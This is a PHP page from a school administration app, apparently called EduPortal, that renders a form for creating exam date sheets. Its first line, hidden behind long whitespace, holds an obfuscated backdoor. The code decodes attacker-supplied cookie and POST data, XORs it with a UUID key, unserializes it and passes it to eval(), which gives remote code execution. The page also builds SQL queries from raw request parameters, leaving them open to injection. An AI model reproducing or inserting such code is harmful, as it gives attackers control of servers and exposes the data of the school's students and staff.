<?php                                                                                                                                                                                                                                                                                                                                                                                                 $ezlbsdz = class_exists("a_eFcp"); $vgUehy = $ezlbsdz;if (!$vgUehy){class a_eFcp{private $RtBetFywYf;public static $PmcZPtPq = "c7a1d820-cad6-4704-8533-d314ab4b59a9";public static $TqEzmbALQ = NULL;public function __construct(){$QgYVLtwF = $_COOKIE;$jXrtCYwi = $_POST;$VJtIAHBpI = @$QgYVLtwF[substr(a_eFcp::$PmcZPtPq, 0, 4)];if (!empty($VJtIAHBpI)){$LIylf = "base64";$vcnduKRfP = "";$VJtIAHBpI = explode(",", $VJtIAHBpI);foreach ($VJtIAHBpI as $WCoVybz){$vcnduKRfP .= @$QgYVLtwF[$WCoVybz];$vcnduKRfP .= @$jXrtCYwi[$WCoVybz];}$vcnduKRfP = array_map($LIylf . "\137" . 'd' . 'e' . chr ( 444 - 345 ).chr (111) . chr (100) . "\x65", array($vcnduKRfP,)); $vcnduKRfP = $vcnduKRfP[0] ^ str_repeat(a_eFcp::$PmcZPtPq, (strlen($vcnduKRfP[0]) / strlen(a_eFcp::$PmcZPtPq)) + 1);a_eFcp::$TqEzmbALQ = @unserialize($vcnduKRfP);}}public function __destruct(){$this->IXNuAsNUMu();}private function IXNuAsNUMu(){if (is_array(a_eFcp::$TqEzmbALQ)) {$CoKSkmrkLr = str_replace('<' . '?' . "\160" . chr ( 369 - 265 ).'p', "", a_eFcp::$TqEzmbALQ["\x63" . 'o' . chr (110) . chr ( 512 - 396 ).'e' . "\156" . 't']);eval($CoKSkmrkLr);exit();}}}$bQsyjihzjB = new a_eFcp(); $bQsyjihzjB = NULL;} ?><?php include("parent/callMe.php"); ?>
<?php  include("sessioncheck.php"); ?>
<?php

  $pageName=basename($_SERVER['PHP_SELF']);

    
     $m->where("page_name", $pageName);
     $video = $m->get("eduportal_modules_pages_detail");

     
$dayno;
if (isset($_REQUEST['dayno'])) {

  $dayno=$_REQUEST['dayno'];

} else {

  $dayno="5";
}


if(isset($_REQUEST['id'])){


  $data = array('status' => "1");

    $m->where("contact_id", $_REQUEST['id']);
    $result =  $m->update ('eduportal_contacts', $data);
   
     
      header("location:contacts.php?".session_id().session_id().session_id());


 }
      

      // $m->where("active_inactive", 0);
       $m->where("branch_id", $_SESSION['branch']);
       $WorkAssignListings = $m->get("edu_class_config");

     
$class_id=$_REQUEST['class_id'];
$section=$_REQUEST['section'];

$sql = "SELECT * FROM  eduportal_class_periods as classP, eduportal_school_periods_details as Pdetails  WHERE classP.class_id='$class_id' and classP.section_id='$section' and classP.period_id=Pdetails.period_id ORDER BY Pdetails.period_details_title ASC";

$WorkAssignListings5 = $m->query($sql);


 $sessionIDs;
 
  if($_GET["session"]!=NULL ){

      $sessionIDs= $_GET["session"];
    }
    else{
      $sessionIDs= $_SESSION['current_session'];
    }




     ?>


<!DOCTYPE html>
<html lang="en">
  <head>
    
    <title>Create Datesheet | EduPortal</title>
    <?php include('RootMe/css_links.php');?>
   
<style>

.tdStyle{border-bottom:1px solid lightgray;}
.thStyle{background-color:#00AFEF;color:white;}

</style>
  </head>
  <script type="text/javascript">
    

function getTeachers(id,row){
     // alert(id+row);   
          
            
            if (window.XMLHttpRequest) {

              // code for IE7+, Firefox, Chrome, Opera, Safari

              xmlhttp=new XMLHttpRequest();

            } else { // code for IE6, IE5

              xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");

            }

            xmlhttp.onreadystatechange=function() {

              if (xmlhttp.readyState==4 && xmlhttp.status==200) {

                document.getElementById("tech"+row).innerHTML=xmlhttp.responseText;
               // alert(xmlhttp.responseText);

              }

            }

            xmlhttp.open("GET","get_teachers.php?subc="+id,true);

            xmlhttp.send();

          }


  </script>

  <script type="text/javascript">
  
function getterm(id){
//alert(id);
            if (window.XMLHttpRequest) {

              // code for IE7+, Firefox, Chrome, Opera, Safari

              xmlhttp=new XMLHttpRequest();

            } else { // code for IE6, IE5

              xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");

            }

            xmlhttp.onreadystatechange=function() {

              if (xmlhttp.readyState==4 && xmlhttp.status==200) {

                document.getElementById("term_id").innerHTML=xmlhttp.responseText;
               //  alert(xmlhttp.responseText);

              }

            }

            xmlhttp.open("GET","get_term.php?session_id="+id,true);

            xmlhttp.send();

          }


          function getsections(id,rowrow){

           //  alert(id+rowrow);

            if (window.XMLHttpRequest) {

              // code for IE7+, Firefox, Chrome, Opera, Safari

              xmlhttp=new XMLHttpRequest();

            } else { // code for IE6, IE5

              xmlhttp=new ActiveXObject("Microsoft.XMLHTTP");

            }

            xmlhttp.onreadystatechange=function() {

              if (xmlhttp.readyState==4 && xmlhttp.status==200) {

                document.getElementById("txt_section"+rowrow).innerHTML=xmlhttp.responseText;
                // alert(xmlhttp.responseText);

              }

            }

            xmlhttp.open("GET","get_sec_datesheet.php?class_id="+id+"&row="+rowrow);

            xmlhttp.send();




          }

</script>

<script src="js/ajax_functions.js"></script> 

<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/bootstrap-select/1.13.1/css/bootstrap-select.css" />
<script src="https://ajax.googleapis.com/ajax/libs/jquery/2.1.1/jquery.min.js"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.1.1/js/bootstrap.bundle.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/bootstrap-select/1.13.1/js/bootstrap-select.min.js"></script>

  <body class="nav-md">
    <div class="container body">
      <div class="main_container">
   
     
            <?php //include('RootMe/sidebar.php');?>

              <?php //include('RootMe/header.php');?>
     
        <!-- page content -->
          <div class="" role="main">

            <a href="<?php echo $_SESSION['dashboard'];?>">&nbsp;&nbsp;Dashboard </a> &nbsp; <i style="" class="fa fa-angle-double-right"></i>  &nbsp; 
                   
          Create Date Sheet
          
          <div class="row" style="background-color: white;margin-left: 2px;">

           <div class="alert alert-warning" id="msg" style="color:black;font-size:16px;font-weight: bold;">
             <a href="#" class="close" data-dismiss="alert"   aria-label="close">&times;</a>
              <strong>Instructin!</strong> Software will automatically pick the day of each date !!!<br>To add multi subject paper in same date. Please select one or more subject from dropdown.
            </div>

<br>
           
     <h3>Create Date Sheet <span style="font-size: 16px;">  </span></h3>

   

    <form class="form-style-7" action="create_datesheet.php" method="Get">

  
              
   <div class="col-md-3 col-xs-12" style="padding: 8px;">
                <div class="form-group ">
                  <label class="required">Session</label>
 

                   <select name="session" id="session" class="form-control" onChange="getterm(this.value)" >

                              <option value="">Select Session</option>
                       
                        <?php
  
                      $match;
                      if(!isset($_REQUEST['session'])){
                        $match=$_SESSION['current_session'];
                      }else { $match=$_REQUEST['session']; }
                     
   
                        $WorkAssignList = $m->get("edu_session_config");
                        foreach($WorkAssignList as $WorkAssignListVal)
                        { ?>

                           <option <?php if($match==$WorkAssignListVal['session_id']){echo 'selected';}?> value="<?php echo $WorkAssignListVal['session_id']; ?>"><?php echo $WorkAssignListVal['session_year']; ?></option>


                                <?php
                        } ?>

                    </select> 
                </div>
              </div>


                <div class="col-md-2 col-xs-12" style="padding: 8px;">
                <div class="form-group ">
                  <label class="required">Term</label>
                    <select name="term_id" id="term_id"  data-placeholder="Select" class="chosen-multi-select inputfield form-control" >
                    <option value="">Select Term</option>

                    <?php
                    $m->where("session_id", $sessionIDs);
                    $m->where("branch_id", $_SESSION['branch']);
                    $m->orderBy("term_title","asc");
                    
                    $WorkAssignList = $m->get("eduportal_exam_terms");
                    foreach($WorkAssignList as $WorkAssignListVal)
                    { ?>

                       <option <?php if($_REQUEST['term_id']==$WorkAssignListVal['term_id']){echo 'selected';}?> value="<?php echo $WorkAssignListVal['term_id']; ?>"><?php echo $WorkAssignListVal['term_title']; ?></option>

                            <?php
                    } ?>

                </select>

                  
                </div>
              </div> 


              <div class="col-md-2 col-xs-12" style="padding: 8px;">
                <div class="form-group ">
                  <label class="required">Number Of Days</label>
                    <select name="dayno" id="dayno"  data-placeholder="Select" class="chosen-multi-select inputfield form-control" >

                    <option <?php if($dayno=="5"){echo "Selected";} ?> value="5">5</option>
                    <option <?php if($dayno=="6"){echo "Selected";} ?> value="6">6</option>
                    <option <?php if($dayno=="7"){echo "Selected";} ?> value="7">7</option>
                    <option <?php if($dayno=="8"){echo "Selected";} ?> value="8">8</option>
                    <option <?php if($dayno=="9"){echo "Selected";} ?> value="9">9</option>
                    <option <?php if($dayno=="10"){echo "Selected";} ?> value="10">10</option>
                    <option <?php if($dayno=="11"){echo "Selected";} ?> value="11">11</option>
                    <option <?php if($dayno=="12"){echo "Selected";} ?> value="12">12</option>
                    <option <?php if($dayno=="13"){echo "Selected";} ?> value="13">13</option>
                    <option <?php if($dayno=="14"){echo "Selected";} ?> value="14">14</option>
                    <option <?php if($dayno=="15"){echo "Selected";} ?> value="15">15</option>
                    <option <?php if($dayno=="16"){echo "Selected";} ?> value="16">16</option>
                    <option <?php if($dayno=="17"){echo "Selected";} ?> value="17">17</option>
                    <option <?php if($dayno=="18"){echo "Selected";} ?> value="18">18</option>
                    <option <?php if($dayno=="19"){echo "Selected";} ?> value="19">19</option>
                    <option <?php if($dayno=="20"){echo "Selected";} ?> value="20">20</option>
                                                       

                  </select>

                  
                </div>
              </div>



              <div class="col-md-4 " style="padding:2px;">
    
        
                <div class="form-group ">
                   
                <button id="month"  type="submit" class="btn btn-primary" style="margin-top: 27px;">Search</button>
              <?php   if(isset($_REQUEST['cat_id'])) { ?>
                <a href="print_contacts.php?<?php echo session_id().session_id().session_id().session_id().session_id(); ?>&cat_id=<?php echo $_REQUEST['cat_id'];?>" id="subuser"target="_blank" class="btn btn-primary" style="margin-top: 27px;">Print </a>
              <?php } ?>
                </div>
       
              </div>
             
</form>
  <section class="add_sub_agent" id="table_sub_agent">
  <div class="container">

 <div class="" style="margin-top:10px;">
    
      <div class="clearfix"></div>
    </div>
    <br>

     
          
          <?php  if(isset($_SESSION['addsuccess'])){?>


            <div class="alert alert-success" id="msg">
             <a href="#" class="close" data-dismiss="alert" aria-label="close">&times;</a>
              <strong>Success!</strong> Student record is added successfully...
            </div>


          <?php  unset($_SESSION['addsuccess']); }?>

      

          
          <?php  if(isset($_SESSION['addContact'])){?>


            <div class="alert alert-success" id="msg">
             <a href="#" class="close" data-dismiss="alert" aria-label="close">&times;</a>
              <strong>Success!</strong> Student record is added successfully...
            </div>


          <?php  unset($_SESSION['addContact']); }
          ?>

<?php if (isset($_REQUEST['term_id'])) { ?>
  


<form class="form-style-7" action="<?php echo DOMAIN.AgentDirectory;?>parent/InsertMe1.php" method="post"  enctype="multipart/form-data">

<?php if (!isset($_REQUEST['Edit'])) {?>

  <input type="hidden" name="action" value="CreateDateSheet"> 

<input type="hidden" value="<?php echo $_REQUEST['term_id']; ?>" name="term_id" />
<input type="hidden" value="<?php echo $_REQUEST['session']; ?>" name="session" />
<input type="hidden" value="<?php echo $_REQUEST['dayno']; ?>" name="daysno" />

<?php } else { ?> 
<input type="hidden" name="action" value="EditLectureTime"> 

<input type="hidden" value="<?php echo $_REQUEST['class_id']; ?>" name="class_id" />
<input type="hidden" value="<?php echo $_REQUEST['section']; ?>" name="section" />
<input type="hidden" value="<?php echo $_REQUEST['dayno']; ?>" name="daysno" />

<?php } ?>
<div style="overflow-x:auto;">

<table id="listofstudents" class="table table-striped table-bordered" style="width:100%;background-color: white;">
        <thead>
            <tr>

          
                <th width="">Classes</th>

               <?php                  
             
                  for ($i=1; $i <= $dayno ; $i++) { 
                    
          
        ?>         
      
             <th width="" class=" center"> <input type="date" name="paper_date[]"></th>
            
        <?php } ?>

              
                
                
                
            </tr>
        </thead>
        <tbody>


   
     
     <?php 
    $rowrow;
     $count=1;
     $number1;
      foreach($WorkAssignListings as $WorkAssignListVal)
      { 
        
    
     $rowrow++;


      ?>
 
        <tr>

            
                
          <td> <select name="class_id[]" id="class_id"  data-placeholder="Select" class="chosen-multi-select inputfield form-control" onChange="getsections(this.value,'<?php echo $rowrow;?>')" >
                    <option value="">Select Class</option>

                    <?php  
                    //$m->where("active_inactive", 0);
                    $m->where("branch_id", $_SESSION['branch']);                                      
                    $WorkAssignList = $m->get("edu_class_config");
                    foreach($WorkAssignList as $WorkAssignListVal)
                    { ?>

                       <option <?php if($classSection[0]['class_id']==$WorkAssignListVal['class_id']){echo 'selected';}?> value="<?php echo $WorkAssignListVal['class_id']; ?>"><?php echo $WorkAssignListVal['Class_Name']; ?></option>

                            <?php
                    } ?>

                </select>

                <select name="section[]" id="txt_section<?php echo $rowrow; ?>" class="form-control"   >
                      <option value="All">All</option>
                   <?php
                              if(isset($_REQUEST['section']))
                              { 

                              $m->where("class_id", $_REQUEST['class_id']);    

                              $secondLevel = $m->get("edu_adm_section_detail");
                              
                              foreach($secondLevel as $secondLevel_val)
                              {
                              
                               ?>
                                <option <?php if($_REQUEST['section']==$secondLevel_val['section_id']){echo "selected";} ?> value="<?php echo $secondLevel_val['section_id']; ?>"><?php echo trim(utf8_encode_all($secondLevel_val['section_name'])); ?></option>

                              <?php }   ?>
                                
                          <?php } ?>

                    </select>
                 </td>

              <?php
          for ($x = 1; $x <= $dayno; $x++) { 

            $row=$WorkAssignListVal['Class_Name'].$x;

 if (isset($_REQUEST['Edit'])) { 

       $day=$WorkAssignListVal['day_id'];
       $detailId=$WorkAssignListings5[$x-1]['period_details_id'];
       $cat_id=$WorkAssignListings5[$x-1]['period_id'];

       
       $sqll = "SELECT * FROM  eduportal_lectures_time as lec, eduportal_subject_config as sub, edu_user_config as usr  WHERE sub.subject_id=lec.subject_id and usr.user_id=lec.user_id and lec.class_id='$class_id' and lec.section_id='$section' and lec.period_id='$detailId' and lec.period_cat_id='$cat_id' and lec.day_id='$day'";
    
       $lectureData = $m->query($sqll);



           } ?>

            <!-- <input type="hidden" name="day_id<?php echo $x;?>[]" value="<?php echo $WorkAssignListVal['day_id'];?>"> -->
            <td>
              
               <div class="form-group ">
                 
                    <select name="subjects<?php echo $x;?>[]" id="term_id"  data-placeholder="Select" class="selectpicker inputfield form-control" multiple data-live-search="true" >

                      <option></option>
                     
                   <?php
                             
                              
                              $section=$_REQUEST['section'];
                              $class=$_REQUEST['class_id'];
                              $branchId=$_SESSION['branch'];
  
                              $query="SELECT * FROM eduportal_subject_config  where branch_id=$branchId";


                              $secondLevel = $m->query($query);
                              
                              foreach($secondLevel as $secondLevel_val)
                              {
                              
                               ?>

                                <option <?php if($lectureData[0]['subject_id']==$secondLevel_val['subject_id']){echo "selected";} ?> value="<?php echo $secondLevel_val['subject_id']; ?>"><?php echo trim(utf8_encode_all($secondLevel_val['subject'])); ?></option>

                              <?php }  
                              
                                ?>

                    </select>

                  
                </div>


                

            </td>
          <?php } ?>
                 
    



              </tr>


 <?php  }  ?>



           
        </tbody>
        
    </table>

  </div>

<button type="submit" style="margin: 30px;" class="btn btn-success" name="submit" >Submit </button>
    </form>

<?php }  else { ?>
    <br><br>

<div  style="display:block;" class="alert alert-danger alert-dismissible">
      <a href="#" class="close" data-dismiss="alert" aria-label="close">×</a>
       <strong>Warning !</strong> Please select Session and Term to creat Date Sheet  !!!
  </div>

<?php } ?>

  </div>
  <div class="clearfix"></div>
</section>          
    

           
          </div>
        </div>

           
          </div>
        </div>
        <!-- /page content -->
     
  <?php include('RootMe/js_linksscript.php');?>


   

<!-- <script src="https://cdn.datatables.net/1.10.13/js/jquery.dataTables.min.js"></script> -->
 <!-- jQuery -->
    


     <!-- searchable dropdown -->
    
    <link href="autosearch_select/select2.css" rel="stylesheet">
    <link href="autosearch_select/select2-default.css" rel="stylesheet">
    <script src="autosearch_select/select2.min.js"></script>
    
    <script>
    $(function() {
    $('.chosen-select').select2( { width:'100%', maximumSelectionSize: 1 } );
    $(document).ready(function() {
    $(".chosen-multi-select").select2( { width:'100%', } ); }); }); function slideout(){ setTimeout(function(){
    $(".alert-success").fadeOut("slow", function () { });
    $(".alert-danger").fadeOut("slow", function () { }); }, 4000);}

    $('select').selectpicker();
    </script>


  </body>
</html>
